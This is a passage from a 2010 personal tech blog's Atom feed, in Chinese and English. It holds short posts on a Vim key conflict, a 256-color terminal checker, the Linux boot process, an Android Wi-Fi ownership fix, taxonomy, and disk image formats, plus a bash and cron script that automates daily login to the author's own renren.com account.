<p>You may also have interest in this toturial <a href="http://cscope.sourceforge.net/cscope_vim_tutorial.html">http://cscope.sourceforge.net/cscope_vim_tutorial.html</a></p>]]></content>
    </entry>
    <entry>
        <title>Ctrl-j conflict between minibufexpl.vim and c.vim</title>
        <link href="http://blog.cykerway.com/post/189" />
        <id>http://blog.cykerway.com/post/189</id>
        <updated>2010-07-25T08:21:01Z</updated>
        <content type="html"><![CDATA[<p>minibufexpl.vim和c.vim都是好东西，可惜Ctrl-j这个快捷键冲突了。解决方法很简单，在vimrc里加入：</p>
<pre class="brush:bash">let g:C_Ctrl_j = 'off'</pre>
<p>又可以Ctrl-h,j,k,l飞来飞去了。</p>

<p>Acknowledgement. <a href="http://hi.baidu.com/bailiangcn/blog/item/5c041bb7a82b58f930add179.html">http://hi.baidu.com/bailiangcn/blog/item/5c041bb7a82b58f930add179.html</a></p>]]></content>
    </entry>
    <entry>
        <title>256-color Terminal Checker</title>
        <link href="http://blog.cykerway.com/post/188" />
        <id>http://blog.cykerway.com/post/188</id>
        <updated>2010-07-25T03:54:06Z</updated>
        <content type="html"><![CDATA[<p>A perl checker to see whether your terminal is 256-color:</p>

<p><a href="http://scie.nti.st/dist/256colors2.pl">http://scie.nti.st/dist/256colors2.pl</a></p>

<p>From:</p>

<p><a href="http://scie.nti.st/2008/10/13/get-rxvt-unicode-with-256-color-support-on-ubunut">http://scie.nti.st/2008/10/13/get-rxvt-unicode-with-256-color-support-on-ubunut</a></p>]]></content>
    </entry>
    <entry>
        <title>Linux启动过程</title>
        <link href="http://blog.cykerway.com/post/187" />
        <id>http://blog.cykerway.com/post/187</id>
        <updated>2010-07-25T01:37:42Z</updated>
        <content type="html"><![CDATA[<p>简明扼要小教程：</p>

<p><a href="http://roclinux.cn/?p=1301">http://roclinux.cn/?p=1301</a></p>

<p>《别怕Linux编程》这系列还挺有意思的。</p>]]></content>
    </entry>
    <entry>
        <title>Unable to start Wi-Fi</title>
        <link href="http://blog.cykerway.com/post/186" />
        <id>http://blog.cykerway.com/post/186</id>
        <updated>2010-07-22T16:00:04Z</updated>
        <content type="html"><![CDATA[<p>Recently my Hero began to notice me <em>Unable to start Wi-Fi</em> when I turned it on. I've done a factory reset and fixed it several days ago. But it is never the ultimate solution.</p>

<p>After checking the dmesg result, I find the wifi module is successfully loaded before going down. It's weird. I mean it stops when it's ready and should go on.</p>

<p>After several minutes' digging, I soon found the solution online in Google's Android forum. It's just a file ownership problem and requires a one-line solution.</p>

<p><strong>Solution.</strong></p>

<p>Change the ownership of /data/misc/wifi/wpa_supplicant.conf to 1010:1010.</p>

<p>For more detailed information, I strongly recommend you to read the original post:</p>

<p><a href="http://code.google.com/p/android/issues/detail?id=1124#c89">http://code.google.com/p/android/issues/detail?id=1124#c89</a></p>

<p>And user 1010 and group 1010 comes from this list:</p>

<p><a href="http://android-dls.com/wiki/index.php?title=Android_uids_and_guids">http://android-dls.com/wiki/index.php?title=Android_uids_and_guids</a></p>]]></content>
    </entry>
    <entry>
        <title>Information Taxonomy</title>
        <link href="http://blog.cykerway.com/post/185" />
        <id>http://blog.cykerway.com/post/185</id>
        <updated>2010-07-21T04:42:48Z</updated>
        <content type="html"><![CDATA[<p>先推荐三篇文章吧，一篇来自豆瓣，两篇来自国外网站：</p>
<ul>
	<li><a href="http://www.douban.com/group/topic/5910788/">http://www.douban.com/group/topic/5910788/</a></li>
	<li><a href="http://articles.techrepublic.com.com/5100-10878_11-5055268.html">http://articles.techrepublic.com.com/5100-10878_11-5055268.html</a></li>
	<li><a href="http://www.zdnetasia.com/how-to-create-effective-taxonomy-39190441.htm">http://www.zdnetasia.com/how-to-create-effective-taxonomy-39190441.htm</a></li>
</ul>
<p>近期有这方面研究的计划，因为taxonomy的问题已经trouble我好久了，尤其是在写程序的时候。</p>

<p>你知道么？Naming is hard! Taxonomy helps!</p>

<p>Note. 求相关资源（books, papers, etc.）</p>

<p>Update. 看了写文章小有收获，但是离Universal Resource Namer这样的目标还有很大距离……分类好困难的说……</p>]]></content>
    </entry>
    <entry>
        <title>人人刷(renrenshua)</title>
        <link href="http://blog.cykerway.com/post/184" />
        <id>http://blog.cykerway.com/post/184</id>
        <updated>2010-07-20T03:54:40Z</updated>
        <content type="html"><![CDATA[<p>关于人人刷(renrenshua)</p>

<ul>
	<li>人人刷(renrenshua)是一个专门用来刷人人网的工具。</li>
	<li>你可以自己写这个工具。</li>
	<li>人人刷(renrenshua)在Linux平台上运行。</li>
	<li>使用这个工具需要wget和crontab。</li>
</ul>

<p>Steps:</p>

<ol>
	<li>编辑文件/usr/bin/renrenshua，内容如下：

<pre class="brush:bash">
#!/bin/bash

if [ $# != 2 ]
then
    echo &apos;./renrenshua username password&apos;
else
    wget --post-data=&quot;email=$1&amp;password=$2&amp;autoLogin=true&amp;origURL=&amp;domain=renren.com&amp;formName=&amp;method=&amp;isplogin=true&quot; --keep-session-cookies http://www.renren.com/PLogin.do -P /tmp/ &gt;/dev/null 2&gt;&amp;1
    if [ -f /tmp/home ]
    then
        echo &apos;Login succeeded&apos;
        rm -f /tmp/home
    else
        echo &apos;Login failed&apos;
        rm -f /tmp/PLogin.do
    fi
fi 
</pre>

</li>
	<li>root权限执行
<pre class="brush:bash">chmod a+x /usr/bin/renrenshua</pre>
</li>
	<li>编辑文件/etc/cron.daily/renrenshua，内容如下：
<pre class="brush:bash">/usr/bin/renrenshua [username] [password]</pre>
username和password是你在人人网的帐号和密码</li>
	<li>root权限执行
<pre class="brush:bash">chmod a+x /etc/cron.daily/renrenshua</pre>
</li>
	<li>root权限重启crontab。具体命令在不同的平台上可能会不同。Arch下为
<pre class="brush:bash">/etc/rc.d/crond restart</pre>
</li>
</ol>
<p>后面3步只是加个定时器，你也可以用Step 1中的脚本按Step 3中的命令手工刷。</p>

<p>Note. </p>
<ol>
<li>人人刷(renrenshua)目前没有经过检测，不能确定有效。且不排除人人网更改验证方式使得该工具失效的可能。欢迎即时反馈。</li>
<li>你应该在一台全天候运行的计算机上进行上述步骤。</li>
</ol>]]></content>
    </entry>
    <entry>
        <title>磁盘镜像格式转换</title>
        <link href="http://blog.cykerway.com/post/183" />
        <id>http://blog.cykerway.com/post/183</id>
        <updated>2010-07-20T00:03:13Z</updated>
        <content type="html"><![CDATA[<p>这个是对主要镜像格式的介绍：</p>

<p><a href="http://www.verycd.com/groups/klfsy/708864.topic">http://www.verycd.com/groups/klfsy/708864.topic</a></p>

<p>其实常见的也就分成那么几个派系：</p>
<ul>
	<li>iso(ISO)</li>
	<li>img/ccd/sub(CloneCD)</li>
	<li>nrg(Nero)</li>
	<li>mdf/mds(Alcohol 120%)</li>
	<li>bin/cue(CDRWIN)</li>
</ul>
<p>最好用的当然还是iso啦，所以就把其
